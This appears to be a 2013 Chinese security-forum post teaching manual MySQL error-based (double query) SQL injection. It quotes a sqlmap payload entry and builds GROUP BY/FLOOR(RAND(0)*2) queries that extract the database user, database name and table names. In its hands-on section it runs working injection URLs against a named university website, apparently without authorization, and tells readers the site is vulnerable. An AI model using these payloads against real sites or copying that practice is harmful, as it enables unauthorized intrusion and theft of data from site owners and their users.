手工注入之error-based injection

其实这个error-based也有叫做DOUBLE QUERY INJECTION,即双查询注入,我这里主要是根据sqlmap中的命名来的,记得坛子里好像有关于双查询注入的东东,不知道我写的这个有没有重复,晚上无聊,就在睡觉前写下这个,希望能够给一些没怎么搞手工注入的基友一些帮助。一心想为法克做贡献,无奈该开始技术还不行,不能像大牛一样,随手就是一篇好文章,请轻拍。

作者:clameQQ:1209666796

0x01:sqlmap之error-based injection

<ignore_js_op>上图为Sqlmap对某注入点进行探测的结果,大家应该经常见到。布尔类型的盲注很简单想必大家都懂,不懂的请自行google.

那什么是基于错误类型的注入呢?如何确定是否存在注入,如何使用该注入类型从数据库中读取自己想要的数据呢?

我们先看一下sqlmap是如何做的?Sqlmap中注入的payload位于xml/payload.xml文件中 详细的列出了各种注入的判断方式和攻击方法,应该算是sqlmap的精髓部分吧?大家向我一样闲的话,可以瞅瞅此处,应该对你手工注入有帮助的。

这里只选取其中一个error-based来看一下。(其余的请自行研究或google)

<!– Error-based tests – WHERE or HAVING clause –><test><title>MySQL &gt;= 5.0 AND error-based – WHERE or HAVING clause</title><stype>2</stype><level>1</level><risk>0</risk><clause>1</clause><where>1</where><vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT(‘[DELIMITER_START]’,([QUERY]),'[DELIMITER_STOP]’,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</vector><request><payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT(‘[DELIMITER_START]’,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]’,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload></request><response><grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep></response><details><dbms>MySQL</dbms><dbms_version>&gt;= 5.0</dbms_version></details></test>

Sqlmap对于是否存在错误注入的判断方法即为:AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT(‘[DELIMITER_START]’,(SELECT (CASE WHEN([RANDNUM]=[RANDNUM])THEN 1 ELSE 0 END)),'[DELIMITER_STOP]’,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

而从数据库中查询信息的方法则为:AND(SELECT[RANDNUM]FROM(SELECTCOUNT(*),CONCAT(‘[DELIMITER_START]’,([QUERY]),'[DELIMITER_STOP]’,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

是不是很熟悉?没错我们经常见到的一些SQL注入的exp跟这个非常类似,以前我真心看不懂啊,现在我起码知道别人再写什么了?唉。。。

上面主要介绍了sqlmap工具中关于Error-based??SQLInjection的情况。

0x02:打造自己的注入语句

下面我们分析一下这个注入.其实这个注入式很简单的,它的精髓就是SELECT count(*) FROM information_schema.TABLES group by floor(rand(0)*2);<ignore_js_op>

将聚合函数和group by语句联合起来迫使sql查询语句返回错误,确实是一个很天才的想法。

如果想更加深入的研究上述语句的原理课参考(其实我也不是特别懂了,嘿嘿)http://www.mysqlops.com/2012/05/15/mysql-sql-analyze.html

基本的原理就是group by后可以跟表达式和函数,通过上面的方法可以迫使sql语句返回错误同时使得我们构造的表达式可以被执行。

如果知道了上面的式子,你就可以很容易的手工构造自己的查询语句。SELECT count(*) FROM information_schema.TABLES group by concat((SELECT user() ),floor(rand(0)*2));<ignore_js_op>通过上述语句就可以查询到用户,当然这里根据你的需求查询任何数据。<ignore_js_op>同理也可以得到数据库<ignore_js_op>通过下面语句就可以一次通过information_schema数据库进行暴库。SELECT count(*) FROM information_schema.TABLES group by concat((SELECT table_name from information_schema.TABLES where table_schema=database() limit 1,1),floor(rand(0)*2));

是不是发现跟大牛们使用的还有一些差别呢?是不是还显得group by部分太多了呢?没事 用上别名就可以了。SELECT count(*),floor(rand(0)*2)x group by x;然后再给整个语句一个返回结果语句就变成了select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.TABLES group by x)a;当没有选择数据库时(此时将不会回显):<ignore_js_op>当选择了数据库时:<ignore_js_op>

0x03:实战

实验:该网站存在SQL注入(仅实验用,请不要搞破坏)http://denm.dlut.edu.cn/teachershow.php?id=45通过测试http://denm.dlut.edu.cn/teachershow.php?id=45%20and%201=0http://denm.dlut.edu.cn/teachershow.php?id=45%20and%201=1可发现该网址存在布尔型盲注但是手工的情况下用盲注的确实比较累。我们来试一下前面说的基于错误的注入。http://denm.dlut.edu.cn/teachers … 28select%20count%28*%29,concat%28%28SELECT%20user%28%29%29,0x3d,%28SELECT%20database%28%29%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.TABLES%20group%20by%20x%29a%29<ignore_js_op>可很容易获得我们要读取数据,剩下就是语句的构造了,想必这个应该难不到大家吧。

0x04:总结

学习SQL注入有2,3个月了,本来决定要在3个月内把各种数据库相关的知识学一下,了解各种注入的原理,刚开始学的时候是看了一款bsqlbf的源码,这款工具采用perl语言编写,比较简单,很容易可以看懂,能够对SQL注入工具以及原理有一定的原理。后来就开始研究sqlmap这款神器的代码,从此就陷进去了,唉,看别人的代码好痛苦,加上寒假期间在家各种堕落,唉,路漫漫其修远兮,吾将上下而耍流氓,哈哈。本人一把年纪了(还算90后,轻拍,哈哈),刚开始研究渗透方面的知识,各种无力啊,想想从初中,高中就开始玩的基友,唉,多希望时光倒流啊,哈哈,求各种基友,一同学习研究,来着不拒。

写文章累,编辑帖子更累,估计差不多了吧,不搞了,吃夜宵去,求金币,呼呼

声明: 本文采用 CC BY-NC-SA 3.0 协议进行授权转载请注明来源:Panni Security Team本文链接地址:http://www.panni007.com/2013/03/17/800.html 去追寻那飞翔的翅膀。落叶随风淡定了它漂泊的方向。

手工注入之error-based injection

相关文章:

你感兴趣的文章:

标签云: